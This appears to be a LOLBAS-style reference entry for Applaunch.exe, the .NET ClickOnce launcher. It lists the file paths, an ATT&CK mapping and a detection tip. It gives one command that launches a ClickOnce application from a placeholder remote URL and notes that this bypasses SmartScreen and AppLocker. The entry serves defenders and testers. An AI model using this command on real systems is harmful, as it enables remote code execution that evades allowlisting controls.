Applaunch.exe

type: OSBinaries

Microsoft .NET ClickOnce Launch Utility.

Full path

C:\Windows\Microsoft.NET\Framework\v2.0.50727\Applaunch.exeC:\Windows\Microsoft.NET\Framework64\v2.0.50727\Applaunch.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\Applaunch.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\Applaunch.exe

Commands

AWL BypassUser T1127.002
Execute ClickOnce applications in environments where `dfsvc.exe` would normally enforce full-trust and SmartScreen checks. Can be abused as an AWL bypass in rare configurations.
```
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Applaunch.exe" /activate "{REMOTEURL}#APPLICATION_METADATA_HERE"
```
Launches a ClickOnce application via Applaunch.exe. Bypasses SmartScreen and default AppLocker rules when the application is published as partial trust.
os: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute: ClickOnceExecute: Remote

Detection

IOCApplaunch.exe rarely executes unless any ClickOnce partial trusted apps are used. Any use or invocation outside dfsvc.exe with `/activate` should be considered suspicious.

Resources

acknowledgement: Nathan Sawyer